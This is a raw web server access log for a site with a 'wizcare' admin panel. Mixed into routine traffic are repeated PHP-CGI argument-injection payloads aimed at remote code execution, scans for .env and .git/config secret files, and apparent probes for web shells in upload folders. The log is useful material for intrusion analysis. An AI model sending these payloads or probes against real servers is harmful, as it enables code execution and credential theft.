[29/Nov/2024:03:05:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[29/Nov/2024:03:05:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/1.php HTTP/1.1" 3
[29/Nov/2024:03:05:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/aaa.php HTTP/1.1" 3
[29/Nov/2024:03:11:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[29/Nov/2024:03:13:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:03:33:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:03:43:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /?%E5%A4%A7%E6%88%90%E9%8B%BC%E6%9C%80%E6%96%B0%E8%B3%87%E8%A8%8A-news-lhxteqzjnqkid-48125 HTTP/1.1" -
[29/Nov/2024:03:43:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:03:43:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[29/Nov/2024:03:45:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/wsc/icons/spellchecker.png HTTP/1.1" 836
[29/Nov/2024:03:45:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:03:45:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:03:50:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:03:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:04:14:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:04:15:26 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[29/Nov/2024:04:15:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/combo_arrow.png HTTP/1.1" 117
[29/Nov/2024:04:33:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:04:45:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/layout_arrows.png HTTP/1.1" 319
[29/Nov/2024:04:51:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:04:54:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:05:15:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:05:15:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:05:15:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-6.jpg HTTP/1.1" 14717
[29/Nov/2024:05:16:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[29/Nov/2024:05:17:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:05:18:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:05:18:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:05:18:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[29/Nov/2024:05:18:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:05:24:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:05:26:43 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[29/Nov/2024:05:26:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:05:31:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:05:32:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[29/Nov/2024:05:33:12 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[29/Nov/2024:05:33:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:05:35:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/samples/old/assets/inlineall/logo.png HTTP/1.1" 4283
[29/Nov/2024:05:37:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[29/Nov/2024:05:38:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:05:45:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[29/Nov/2024:05:45:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:05:50:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:05:53:04 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[29/Nov/2024:05:54:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:06:13:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:06:33:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:06:34:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:06:34:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:06:34:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/4f3.png HTTP/1.1" 67320
[29/Nov/2024:06:35:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/panel_tools.png HTTP/1.1" 194
[29/Nov/2024:06:40:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:06:40:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:06:51:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:06:54:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:06:55:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/dept8-1.jpg HTTP/1.1" 162270
[29/Nov/2024:07:13:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:07:21:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[29/Nov/2024:07:33:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:07:35:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/images/arrow.png HTTP/1.1" 191
[29/Nov/2024:07:35:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:07:35:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:07:50:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:07:54:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:07:58:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/e4.png HTTP/1.1" 93021
[29/Nov/2024:08:06:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/%E8%BA%AB%E5%BF%83%E9%9A%9C%E7%A4%99%E9%91%91%E5%AE%9A%E6%B5%81%E7%A8%8B%E5%9C%96.pdf HTTP/1.1" -
[29/Nov/2024:08:09:34 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[29/Nov/2024:08:14:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:08:20:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/wsc/icons/hidpi/spellchecker.png HTTP/1.1" 2816
[29/Nov/2024:08:21:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/tree_icons.png HTTP/1.1" 3086
[29/Nov/2024:08:33:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:08:43:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_pre.png HTTP/1.1" 128
[29/Nov/2024:08:43:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:08:43:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:08:51:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:08:54:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:09:14:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:09:15:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/copyformatting/cursors/cursor-disabled.svg HTTP/1.1" 4012
[29/Nov/2024:09:19:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/loading.gif HTTP/1.1" 1737
[29/Nov/2024:09:25:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:09:25:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:09:26:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[29/Nov/2024:09:26:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[29/Nov/2024:09:29:13 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[29/Nov/2024:09:29:13 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[29/Nov/2024:09:29:14 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[29/Nov/2024:09:33:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:09:37:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/t.php.bak HTTP/1.1" -
[29/Nov/2024:09:38:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /remote/login?lang=en HTTP/1.1" 300
[29/Nov/2024:09:50:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:09:51:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:09:51:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:09:51:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[29/Nov/2024:09:53:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-10.jpg HTTP/1.1" 164192
[29/Nov/2024:09:53:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:09:54:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:09:54:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:09:55:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 305
[29/Nov/2024:10:14:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:10:15:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/accordion_arrows.png HTTP/1.1" 184
[29/Nov/2024:10:17:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:10:17:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:10:19:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/datagrid_icons.png HTTP/1.1" 307
[29/Nov/2024:10:26:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[29/Nov/2024:10:26:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[29/Nov/2024:10:26:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /configuration/.env HTTP/1.1" 300
[29/Nov/2024:10:26:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /settings/.env HTTP/1.1" 300
[29/Nov/2024:10:26:40 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /media../.git/config HTTP/1.1" 300
[29/Nov/2024:10:26:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.aws HTTP/1.1" 300
[29/Nov/2024:10:26:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.secret HTTP/1.1" 300
[29/Nov/2024:10:26:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /server/.git/config HTTP/1.1" 300
[29/Nov/2024:10:26:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.qa HTTP/1.1" 300
[29/Nov/2024:10:26:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.backup HTTP/1.1" 300
[29/Nov/2024:10:26:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.config HTTP/1.1" 300
[29/Nov/2024:10:26:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /build/.env HTTP/1.1" 300
[29/Nov/2024:10:26:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.tmp HTTP/1.1" 300
[29/Nov/2024:10:26:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /public/.git/config HTTP/1.1" 300
[29/Nov/2024:10:33:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:10:51:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:10:52:10 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[29/Nov/2024:10:54:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:11:02:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/tabs_icons.png HTTP/1.1" 150
[29/Nov/2024:11:02:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[29/Nov/2024:11:02:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[29/Nov/2024:11:11:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/images/2f3.png HTTP/1.1" 108761
[29/Nov/2024:11:14:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:11:22:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/tree_icons.png HTTP/1.1" 3115
[29/Nov/2024:11:30:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[29/Nov/2024:11:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ HTTP/1.1" 63
[29/Nov/2024:11:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php HTTP/1.1" 9089
[29/Nov/2024:11:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[29/Nov/2024:11:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/fonts.googleapis.com.css HTTP/1.1" 494
[29/Nov/2024:11:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/css/font-awesome.min.css HTTP/1.1" 27466
[29/Nov/2024:11:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace-rtl.min.css HTTP/1.1" 116806
[29/Nov/2024:11:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/bootstrap.min.css HTTP/1.1" 115813
[29/Nov/2024:11:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery-2.1.4.min.js HTTP/1.1" 84380
[29/Nov/2024:11:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace.min.css HTTP/1.1" 396938
[29/Nov/2024:11:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/images/pattern.jpg HTTP/1.1" 7080
[29/Nov/2024:11:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/fonts/fontawesome-webfont.woff2?v=4.5.0 HTTP/1.1" 66624
[29/Nov/2024:11:33:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[29/Nov/2024:11:33:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/ HTTP/1.1" 3162
[29/Nov/2024:11:33:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/blank.gif HTTP/1.1" 148
[29/Nov/2024:11:33:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/back.gif HTTP/1.1" 216
[29/Nov/2024:11:33:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/text.gif HTTP/1.1" 229
[29/Nov/2024:11:33:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/image2.gif HTTP/1.1" 309
[29/Nov/2024:11:33:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/folder.gif HTTP/1.1" 225
[29/Nov/2024:11:33:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/83543476.jpg HTTP/1.1" 68818
[29/Nov/2024:11:33:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/318339354.jpg HTTP/1.1" 6
[29/Nov/2024:11:33:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[29/Nov/2024:11:33:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/ HTTP/1.1" 5618
[29/Nov/2024:11:33:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/unknown.gif HTTP/1.1" 245
[29/Nov/2024:11:33:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/binary.gif HTTP/1.1" 246
[29/Nov/2024:11:33:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/layout.gif HTTP/1.1" 276
[29/Nov/2024:11:33:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ HTTP/1.1" 63
[29/Nov/2024:11:33:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php HTTP/1.1" 9089
[29/Nov/2024:11:36:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/lock-open.png HTTP/1.1" 511
[29/Nov/2024:11:42:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/validatebox_warning.png HTTP/1.1" 921
[29/Nov/2024:11:51:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[29/Nov/2024:11:54:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
